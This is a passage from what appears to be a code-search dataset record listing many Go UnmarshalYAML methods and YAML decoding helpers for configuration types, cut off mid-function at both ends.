UnmarshalYAML(b []byte) error {\n\tvar s yaml.MapSlice\n\tif err := yaml.Unmarshal(b, &s); err != nil {\n\t\treturn err\n\t}\n\tif len(s) == 0 {\n\t\treturn nil\n\t}\n\tresult := OrderedMap[K, V]{\n\t\tidx: map[K]int{},\n\t\titems: make([]OrderedMapItem[K, V], len(s)),\n\t}\n\tfor i, item := range s {\n\t\tkb, err := yaml.Marshal(item.Key)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tvar k K\n\t\tif err := yaml.Unmarshal(kb, &k); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tvb, err := yaml.Marshal(item.Value)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tvar v V\n\t\tif err := yaml.UnmarshalWithOptions(vb, &v, yaml.UseOrderedMap(), yaml.Strict()); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tresult.idx[k] = i\n\t\tresult.items[i].Key = k\n\t\tresult.items[i].Value = v\n\t}\n\t*m = result\n\treturn nil\n}","func (i *Int) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate int\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\ti.set(candidate)\n\treturn nil\n}","func (bc *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar u64 uint64\n\tif unmarshal(&u64) == nil {\n\t\tAtomicStoreByteCount(bc, ByteCount(u64))\n\n\t\treturn nil\n\t}\n\n\tvar s string\n\tif unmarshal(&s) == nil {\n\t\tv, err := ParseByteCount(s)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"%q: %w: %v\", s, ErrMalformedRepresentation, err)\n\t\t}\n\t\tAtomicStoreByteCount(bc, v)\n\n\t\treturn nil\n\t}\n\n\treturn fmt.Errorf(\"%w: unexpected type\", ErrMalformedRepresentation)\n}","func (i *ImportDefinition) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\n\tif err := unmarshal(&s); err == nil {\n\t\ti.File = s\n\t\treturn nil\n\t}\n\tvar str struct {\n\t\tFile string `yaml:\"file,omitempty\"`\n\t\tRepository string `yaml:\"repository,omitempty\"`\n\t\tNamespaceURI string `yaml:\"namespace_uri,omitempty\"`\n\t\tNamespacePrefix string `yaml:\"namespace_prefix,omitempty\"`\n\t}\n\tif err := unmarshal(&str); err != nil {\n\t\treturn err\n\t}\n\ti.File = str.File\n\ti.Repository = str.Repository\n\ti.NamespaceURI = str.NamespaceURI\n\ti.NamespacePrefix = str.NamespacePrefix\n\treturn nil\n}","func (d *DurationMillis) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate int\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\ttc := OfMilliseconds(candidate)\n\t*d = tc\n\treturn nil\n}","func (d *DataType) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar val string\n\tif err := unmarshal(&val); err != nil {\n\t\treturn err\n\t}\n\treturn d.FromString(val)\n}","func (date *Date) UnmarshalYAML(value *yaml.Node) (err error) {\n\tvar d string\n\tif err = value.Decode(&d); err != nil {\n\t\treturn err\n\t}\n\t// check data format\n\tif err := checkDateFormat(d); err != nil {\n\t\treturn err\n\t}\n\n\t*date = Date(d)\n\treturn nil\n}","func (f *Fixed8) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\terr := unmarshal(&s)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn f.setFromString(s)\n}","func (mv *Move) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tparsed, err := ParseMove(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*mv = *parsed\n\treturn nil\n}","func (s *GitEvent) UnmarshalYAML(n *yaml.Node) error {\n\tvar j string\n\terr := yaml.Unmarshal([]byte(n.Value), &j)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// Note that if the string cannot be found then it will be set to the zero value, 'Push' in this case.\n\t*s = toID[j]\n\treturn nil\n}","func (e *External) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar boolType bool\n\tif err := unmarshal(&boolType); err == nil {\n\t\te.External = boolType\n\t\treturn nil\n\t}\n\n\tvar structType = struct {\n\t\tName string\n\t}{}\n\tif err := unmarshal(&structType); err != nil {\n\t\treturn err\n\t}\n\tif structType.Name != \"\" {\n\t\te.External = true\n\t\te.Name = structType.Name\n\t}\n\treturn nil\n}","func (i *UOM) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = UOMString(s)\n\treturn err\n}","func (t *Type) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar value string\n\tif err := unmarshal(&value); err != nil {\n\t\treturn err\n\t}\n\n\tif err := t.Set(value); err != nil {\n\t\treturn fmt.Errorf(\"failed to parse '%s' to Type: %v\", value, err)\n\t}\n\n\treturn nil\n}","func (t *Task) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar rawTask map[string]interface{}\n\terr := unmarshal(&rawTask)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"failed to unmarshal task: %s\", err)\n\t}\n\n\trawName, ok := rawTask[\"name\"]\n\tif !ok {\n\t\treturn errors.New(\"missing 'name' field\")\n\t}\n\n\ttaskName, ok := rawName.(string)\n\tif !ok || taskName == \"\" {\n\t\treturn errors.New(\"'name' field needs to be a non-empty string\")\n\t}\n\n\tt.Name = taskName\n\n\t// Delete name field, since it doesn't represent an action\n\tdelete(rawTask, \"name\")\n\n\tfor actionType, action := range rawTask {\n\t\taction, err := actions.UnmarshalAction(actionType, action)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"failed to unmarshal action %q from task %q: %s\", actionType, t.Name, err)\n\t\t}\n\n\t\tt.Actions = append(t.Actions, action)\n\t}\n\n\tif len(t.Actions) == 0 {\n\t\treturn fmt.Errorf(\"task %q has no actions\", t.Name)\n\t}\n\n\treturn nil\n}","func (d *duration) UnmarshalYAML(unmashal func(interface{}) error) error {\n\tvar s string\n\tif err := unmashal(&s); err != nil {\n\t\treturn err\n\t}\n\tdur, err := time.ParseDuration(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*d = duration(dur)\n\treturn nil\n}","func (f *Float64) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate float64\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\tf.set(candidate)\n\treturn nil\n}","func (vl *valueList) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\n\tvar err error\n\n\tvar valueSlice []value\n\tif err = unmarshal(&valueSlice); err == nil {\n\t\t*vl = valueSlice\n\t\treturn nil\n\t}\n\n\tvar valueItem value\n\tif err = unmarshal(&valueItem); err == nil {\n\t\t*vl = valueList{valueItem}\n\t\treturn nil\n\t}\n\n\treturn err\n}","func (c *EtcdConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultEtcdConfig\n\t// We want to set c to the defaults and then overwrite it with the input.\n\t// To make unmarshal fill the plain data struct rather than calling UnmarshalYAML\n\t// again, we have to hide it using a type indirection.\n\ttype plain EtcdConfig\n\tif err := unmarshal((*plain)(c)); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func (m *BootstrapMode) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar str string\n\tif err := unmarshal(&str); err != nil {\n\t\treturn err\n\t}\n\n\t// If unspecified, use default mode.\n\tif str == \"\" {\n\t\t*m = DefaultBootstrapMode\n\t\treturn nil\n\t}\n\n\tfor _, valid := range validBootstrapModes {\n\t\tif str == valid.String() {\n\t\t\t*m = valid\n\t\t\treturn nil\n\t\t}\n\t}\n\treturn fmt.Errorf(\"invalid BootstrapMode '%s' valid types are: %s\",\n\t\tstr, validBootstrapModes)\n}","func LoadYaml(data []byte) ([]runtime.Object, error) {\n\tparts := bytes.Split(data, []byte(\"---\"))\n\tvar r []runtime.Object\n\tfor _, part := range parts {\n\t\tpart = bytes.TrimSpace(part)\n\t\tif len(part) == 0 {\n\t\t\tcontinue\n\t\t}\n\t\tobj, _, err := scheme.Codecs.UniversalDeserializer().Decode([]byte(part), nil, nil)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tr = append(r, obj)\n\t}\n\treturn r, nil\n}","func DecodeFromYAML(ctx context.Context, yaml []byte) (*Object, error) {\n\tobj, err := runtime.Decode(decoder, yaml)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to decode yaml into object\")\n\t}\n\tobjUn, ok := obj.(*unstructured.Unstructured)\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"failed to convert object to Unstructured\")\n\t}\n\treturn &Object{\n\t\tobjUn,\n\t}, nil\n}","func (i *Interface) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = InterfaceString(s)\n\treturn err\n}","func (ep *Endpoint) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tp, err := ParseEndpoint(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*ep = *p\n\treturn nil\n}","func (c *Count) UnmarshalYAML(value *yaml.Node) error {\n\tif err := value.Decode(&c.AdvancedCount); err != nil {\n\t\tswitch err.(type) {\n\t\tcase *yaml.TypeError:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif !c.AdvancedCount.IsEmpty() {\n\t\t// Successfully unmarshalled AdvancedCount fields, return\n\t\treturn nil\n\t}\n\n\tif err := value.Decode(&c.Value); err != nil {\n\t\treturn errUnmarshalCountOpts\n\t}\n\treturn nil\n}","func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultConfig\n\t// We want to set c to the defaults and then overwrite it with the input.\n\t// To make unmarshal fill the plain data struct rather than calling UnmarshalYAML\n\t// again, we have to hide it using a type indirection.\n\ttype plain Config\n\tif err := unmarshal((*plain)(c)); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func (c *Count) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif err := unmarshal(&c.AdvancedCount); err != nil {\n\t\tswitch err.(type) {\n\t\tcase *yaml.TypeError:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif err := c.AdvancedCount.IsValid(); err != nil {\n\t\treturn err\n\t}\n\n\tif !c.AdvancedCount.IsEmpty() {\n\t\t// Successfully unmarshalled AdvancedCount fields, return\n\t\treturn nil\n\t}\n\n\tif err := unmarshal(&c.Value); err != nil {\n\t\treturn errUnmarshalCountOpts\n\t}\n\treturn nil\n}","func Unmarshal(y []byte, o interface{}, opts ...JSONOpt) error {\n\treturn yamlUnmarshal(y, o, false, opts...)\n}","func (p *PortMapping) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype Alias PortMapping\n\taux := &struct {\n\t\tProtocol string `json:\"protocol\"`\n\t\t*Alias\n\t}{\n\t\tAlias: (*Alias)(p),\n\t}\n\tif err := unmarshal(&aux); err != nil {\n\t\treturn err\n\t}\n\tif aux.Protocol != \"\" {\n\t\tval, ok := PortMappingProtocolNameToValue[strings.ToUpper(aux.Protocol)]\n\t\tif !ok {\n\t\t\treturn fmt.Errorf(\"unknown protocol value: %s\", aux.Protocol)\n\t\t}\n\t\tp.Protocol = PortMappingProtocol(val)\n\t}\n\treturn nil\n}","func (c *WebhookConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultWebhookConfig\n\ttype plain WebhookConfig\n\tif err := unmarshal((*plain)(c)); err != nil {\n\t\treturn err\n\t}\n\tif c.URL == \"\" {\n\t\treturn fmt.Errorf(\"missing URL in webhook config\")\n\t}\n\treturn checkOverflow(c.XXX, \"webhook config\")\n}","func (c *SDConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultSDConfig\n\ttype plain SDConfig\n\terr := unmarshal((*plain)(c))\n\tif err != nil {\n\t\treturn err\n\t}\n\tif len(c.Files) == 0 {\n\t\treturn errors.New(\"file service discovery config must contain at least one path name\")\n\t}\n\tfor _, name := range c.Files {\n\t\tif !patFileSDName.MatchString(name) {\n\t\t\treturn fmt.Errorf(\"path name %q is not valid for file discovery\", name)\n\t\t}\n\t}\n\treturn nil\n}"],"string":"[\n \"func (e *ExternalOptimizeForConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn e.unmarshalWith(unmarshal)\\n}\",\n \"func yamlUnmarshal(y []byte, o interface{}, strict bool, opts ...JSONOpt) error {\\n\\tvo := reflect.ValueOf(o)\\n\\tunmarshalFn := yaml.Unmarshal\\n\\tif strict {\\n\\t\\tunmarshalFn = yaml.UnmarshalStrict\\n\\t}\\n\\tj, err := yamlToJSON(y, &vo, unmarshalFn)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"error converting YAML to JSON: %v\\\", err)\\n\\t}\\n\\n\\terr = jsonUnmarshal(bytes.NewReader(j), o, opts...)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"error unmarshaling JSON: %v\\\", err)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (a anchors) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn nil\\n}\",\n \"func UnmarshalYAML(config *YAMLConfiguration, path string) {\\n\\tdata, err := ioutil.ReadFile(path)\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\terr = yaml.Unmarshal(data, config)\\n\\tif err != nil {\\n\\t\\tfmt.Println(err)\\n\\t\\tos.Exit(1)\\n\\t}\\n}\",\n \"func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\\n\\ttype confAlias Config\\n\\taliased := confAlias(NewConfig())\\n\\n\\terr := value.Decode(&aliased)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"line %v: %v\\\", value.Line, err)\\n\\t}\\n\\n\\tif aliased.Type, _, err = docs.GetInferenceCandidateFromYAML(nil, docs.TypeTracer, aliased.Type, value); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"line %v: %w\\\", value.Line, err)\\n\\t}\\n\\n\\t*conf = Config(aliased)\\n\\treturn nil\\n}\",\n \"func UnmarshalYAML(yml []byte) (map[string]ZNode, error) {\\n\\tvar root map[string]ZNode\\n\\tvar err = yaml.Unmarshal(yml, &root)\\n\\treturn root, err\\n}\",\n \"func (i *Transform) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tvar err error\\n\\t*i, err = ParseTransformString(s)\\n\\treturn err\\n}\",\n \"func (this *Write) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t// new temp as map[string]interface{}.\\n\\ttemp := make(map[string]interface{})\\n\\n\\t// unmarshal temp as yaml.\\n\\tif err := unmarshal(temp); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn this.unmarshal(temp)\\n}\",\n \"func (o *Op) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar typeDecoder map[string]rawMessage\\n\\terr := unmarshal(&typeDecoder)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn o.unmarshalDecodedType(typeDecoder)\\n}\",\n \"func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype plain Secret\\n\\treturn unmarshal((*plain)(s))\\n}\",\n \"func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype plain Secret\\n\\treturn unmarshal((*plain)(s))\\n}\",\n \"func (msg *RawMessage) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tmsg.unmarshal = unmarshal\\n\\treturn nil\\n}\",\n \"func (s *ArtifactoryParams) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype plain ArtifactoryParams\\n\\tif err := unmarshal((*plain)(s)); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (options *Options) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype defaults Options\\n\\tdefaultValues := defaults(*NewOptions())\\n\\n\\tif err := unmarshal(&defaultValues); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*options = Options(defaultValues)\\n\\n\\tif options.SingleLineDisplay {\\n\\t\\toptions.ShowSummaryFooter = false\\n\\t\\toptions.CollapseOnCompletion = false\\n\\t}\\n\\n\\t// the global options must be available when parsing the task yaml (todo: does order matter?)\\n\\tglobalOptions = options\\n\\treturn nil\\n}\",\n \"func (l *LogLevel) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar tp string\\n\\tunmarshal(&tp)\\n\\tlevel, exist := LogLevelMapping[tp]\\n\\tif !exist {\\n\\t\\treturn errors.New(\\\"invalid mode\\\")\\n\\t}\\n\\t*l = level\\n\\treturn nil\\n}\",\n \"func (s *Store) UnmarshalYAML(unmarshal func(interface{}) error) (err error) {\\n\\ttype storeYAML map[string]map[string]entryYAML\\n\\n\\tsy := make(storeYAML, 0)\\n\\n\\terr = unmarshal(&sy)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*s = NewStore()\\n\\tfor groupID, group := range sy {\\n\\t\\tfor entryID, entry := range group {\\n\\t\\t\\tentry.e.setGroup(groupID)\\n\\t\\t\\tif err = s.add(entryID, entry.e); err != nil {\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (r *OAuthFlow) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tobj := make(map[string]interface{})\\n\\tif err := unmarshal(&obj); err != nil {\\n\\t\\treturn errors.WithStack(err)\\n\\t}\\n\\n\\tif value, ok := obj[\\\"authorizationUrl\\\"]; ok {\\n\\t\\tif value, ok := value.(string); ok {\\n\\t\\t\\tr.AuthorizationURL = value\\n\\t\\t}\\n\\t}\\n\\n\\tif value, ok := obj[\\\"tokenUrl\\\"]; ok {\\n\\t\\tif value, ok := value.(string); ok {\\n\\t\\t\\tr.TokenURL = value\\n\\t\\t}\\n\\t}\\n\\n\\tif value, ok := obj[\\\"refreshUrl\\\"]; ok {\\n\\t\\tif value, ok := value.(string); ok {\\n\\t\\t\\tr.RefreshURL = value\\n\\t\\t}\\n\\t}\\n\\n\\tif value, ok := obj[\\\"scopes\\\"]; ok {\\n\\t\\trbytes, err := yaml.Marshal(value)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn errors.WithStack(err)\\n\\t\\t}\\n\\t\\tvalue := map[string]string{}\\n\\t\\tif err := yaml.Unmarshal(rbytes, &value); err != nil {\\n\\t\\t\\treturn errors.WithStack(err)\\n\\t\\t}\\n\\t\\tr.Scopes = value\\n\\t}\\n\\n\\texts := Extensions{}\\n\\tif err := unmarshal(&exts); err != nil {\\n\\t\\treturn errors.WithStack(err)\\n\\t}\\n\\n\\tif len(exts) > 0 {\\n\\t\\tr.Extensions = exts\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (m *Manifest) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar tmp map[string]interface{}\\n\\tif err := unmarshal(&tmp); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tdata, err := json.Marshal(tmp)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn json.Unmarshal(data, m)\\n}\",\n \"func (op *OpRetain) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn unmarshal(&op.Fields)\\n}\",\n \"func (l *TestLimits) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tif defaultTestLimits != nil {\\n\\t\\t*l = *defaultTestLimits\\n\\t}\\n\\ttype plain TestLimits\\n\\treturn unmarshal((*plain)(l))\\n}\",\n \"func (s *MaporEqualSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \\\"=\\\")\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*s = parts\\n\\treturn nil\\n}\",\n \"func (s *Step) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t// unmarshal into stepUnmarshaller instead of Step for dynamic unmarshalling Request/Expect\\n\\tvar unmarshaled stepUnmarshaller\\n\\tif err := unmarshal(&unmarshaled); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\ts.Title = unmarshaled.Title\\n\\ts.Description = unmarshaled.Description\\n\\ts.Vars = unmarshaled.Vars\\n\\ts.Protocol = unmarshaled.Protocol\\n\\ts.Include = unmarshaled.Include\\n\\ts.Ref = unmarshaled.Ref\\n\\ts.Bind = unmarshaled.Bind\\n\\ts.Timeout = unmarshaled.Timeout\\n\\ts.PostTimeoutWaitingLimit = unmarshaled.PostTimeoutWaitingLimit\\n\\ts.Retry = unmarshaled.Retry\\n\\n\\tp := protocol.Get(s.Protocol)\\n\\tif p == nil {\\n\\t\\tif unmarshaled.Request != nil || unmarshaled.Expect != nil {\\n\\t\\t\\treturn errors.Errorf(\\\"unknown protocol: %s\\\", s.Protocol)\\n\\t\\t}\\n\\t\\treturn nil\\n\\t}\\n\\tif unmarshaled.Request != nil {\\n\\t\\tinvoker, err := p.UnmarshalRequest(unmarshaled.Request)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\ts.Request = invoker\\n\\t}\\n\\tbuilder, err := p.UnmarshalExpect(unmarshaled.Expect)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\ts.Expect = builder\\n\\n\\treturn nil\\n}\",\n \"func (y *PipelineYml) Unmarshal() error {\\n\\n\\terr := yaml.Unmarshal(y.byteData, &y.obj)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif y.obj == nil {\\n\\t\\treturn errors.New(\\\"PipelineYml.obj is nil pointer\\\")\\n\\t}\\n\\n\\t//err = y.Evaluate(applyEnvsWithPriority(y.metadata.publicTemplateVars, y.metadata.secretTemplateVars))\\n\\t//if err != nil {\\n\\t//\\treturn err\\n\\t//}\\n\\n\\t// re unmarshal to obj, because byteData updated by evaluate\\n\\terr = yaml.Unmarshal(y.byteData, &y.obj)\\n\\treturn err\\n}\",\n \"func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\n\\ttype plain Config\\n\\treturn unmarshal((*plain)(c))\\n}\",\n \"func yamlDecode(ctx *pulumi.Context, text string, opts ...pulumi.InvokeOption) ([]map[string]interface{}, error) {\\n\\targs := struct {\\n\\t\\tText string `pulumi:\\\"text\\\"`\\n\\t}{Text: text}\\n\\tvar ret struct {\\n\\t\\tResult []map[string]interface{} `pulumi:\\\"result\\\"`\\n\\t}\\n\\n\\tif err := ctx.Invoke(\\\"kubernetes:yaml:decode\\\", &args, &ret, opts...); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn ret.Result, nil\\n}\",\n \"func (s *IPMIConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\t*s = defaultConfig\\n\\ttype plain IPMIConfig\\n\\tif err := unmarshal((*plain)(s)); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif err := checkOverflow(s.XXX, \\\"modules\\\"); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tfor _, c := range s.Collectors {\\n\\t\\tif err := c.IsValid(); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (k *Ktype) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar ktyp string\\n\\terr := unmarshal(&ktyp)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*k = KeventNameToKtype(ktyp)\\n\\treturn nil\\n}\",\n \"func (loglevel *Loglevel) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar loglevelString string\\n\\terr := unmarshal(&loglevelString)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tloglevelString = strings.ToLower(loglevelString)\\n\\tswitch loglevelString {\\n\\tcase \\\"error\\\", \\\"warn\\\", \\\"info\\\", \\\"debug\\\":\\n\\tdefault:\\n\\t\\treturn fmt.Errorf(\\\"Invalid loglevel %s Must be one of [error, warn, info, debug]\\\", loglevelString)\\n\\t}\\n\\n\\t*loglevel = Loglevel(loglevelString)\\n\\treturn nil\\n}\",\n \"func (cd *ContainerDef) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype rawContainerDef ContainerDef\\n\\traw := rawContainerDef{Essential: true} // If essential is not specified, we want it to be true\\n\\tif err := unmarshal(&raw); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*cd = ContainerDef(raw)\\n\\treturn nil\\n}\",\n \"func (a *Alias) UnmarshalYAML(value *yaml.Node) error {\\n\\tif err := value.Decode(&a.AdvancedAliases); err != nil {\\n\\t\\tswitch err.(type) {\\n\\t\\tcase *yaml.TypeError:\\n\\t\\t\\tbreak\\n\\t\\tdefault:\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\tif len(a.AdvancedAliases) != 0 {\\n\\t\\t// Unmarshaled successfully to s.StringSlice, unset s.String, and return.\\n\\t\\ta.StringSliceOrString = StringSliceOrString{}\\n\\t\\treturn nil\\n\\t}\\n\\tif err := a.StringSliceOrString.UnmarshalYAML(value); err != nil {\\n\\t\\treturn errUnmarshalAlias\\n\\t}\\n\\treturn nil\\n}\",\n \"func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\\n\\ttype confAlias Config\\n\\taliased := confAlias(NewConfig())\\n\\n\\terr := value.Decode(&aliased)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"line %v: %v\\\", value.Line, err)\\n\\t}\\n\\n\\tvar spec docs.ComponentSpec\\n\\tif aliased.Type, spec, err = docs.GetInferenceCandidateFromYAML(docs.DeprecatedProvider, docs.TypeOutput, value); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"line %v: %w\\\", value.Line, err)\\n\\t}\\n\\n\\tif spec.Plugin {\\n\\t\\tpluginNode, err := docs.GetPluginConfigYAML(aliased.Type, value)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"line %v: %v\\\", value.Line, err)\\n\\t\\t}\\n\\t\\taliased.Plugin = &pluginNode\\n\\t} else {\\n\\t\\taliased.Plugin = nil\\n\\t}\\n\\n\\t*conf = Config(aliased)\\n\\treturn nil\\n}\",\n \"func (e *ExternalJavaPackagePrefixConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn e.unmarshalWith(unmarshal)\\n}\",\n \"func (r *Connection) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype tmp Connection\\n\\tvar s struct {\\n\\t\\ttmp `yaml:\\\",inline\\\"`\\n\\t}\\n\\n\\terr := unmarshal(&s)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unable to parse YAML: %s\\\", err)\\n\\t}\\n\\n\\t*r = Connection(s.tmp)\\n\\n\\tif err := utils.ValidateTags(r); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// If options weren't specified, create an empty map.\\n\\tif r.Options == nil {\\n\\t\\tr.Options = make(map[string]interface{})\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (f *Flag) UnmarshalYAML(node *yaml.Node) error {\\n\\ttag := GetTag(node.Value)\\n\\tf.Name = tag.Name\\n\\tf.Negates = tag.Negates\\n\\tlog.Tracef(\\\"Unmarshal %s into %s\\\\n\\\", node.Value, tag)\\n\\treturn nil\\n}\",\n \"func (gc *GroupConfiguration) UnmarshalYAML(value *yaml.Node) error {\\n\\tif value.Kind != yaml.MappingNode {\\n\\t\\treturn errors.New(\\\"expected mapping\\\")\\n\\t}\\n\\n\\tgc.versions = make(map[string]*VersionConfiguration)\\n\\tvar lastId string\\n\\n\\tfor i, c := range value.Content {\\n\\t\\t// Grab identifiers and loop to handle the associated value\\n\\t\\tif i%2 == 0 {\\n\\t\\t\\tlastId = c.Value\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\t// Handle nested version metadata\\n\\t\\tif c.Kind == yaml.MappingNode {\\n\\t\\t\\tv := NewVersionConfiguration(lastId)\\n\\t\\t\\terr := c.Decode(&v)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn errors.Wrapf(err, \\\"decoding yaml for %q\\\", lastId)\\n\\t\\t\\t}\\n\\n\\t\\t\\tgc.addVersion(lastId, v)\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\t// $payloadType: \\n\\t\\tif strings.EqualFold(lastId, payloadTypeTag) && c.Kind == yaml.ScalarNode {\\n\\t\\t\\tswitch strings.ToLower(c.Value) {\\n\\t\\t\\tcase string(OmitEmptyProperties):\\n\\t\\t\\t\\tgc.PayloadType.Set(OmitEmptyProperties)\\n\\t\\t\\tcase string(ExplicitCollections):\\n\\t\\t\\t\\tgc.PayloadType.Set(ExplicitCollections)\\n\\t\\t\\tcase string(ExplicitProperties):\\n\\t\\t\\t\\tgc.PayloadType.Set(ExplicitProperties)\\n\\t\\t\\tdefault:\\n\\t\\t\\t\\treturn errors.Errorf(\\\"unknown %s value: %s.\\\", payloadTypeTag, c.Value)\\n\\t\\t\\t}\\n\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\t// No handler for this value, 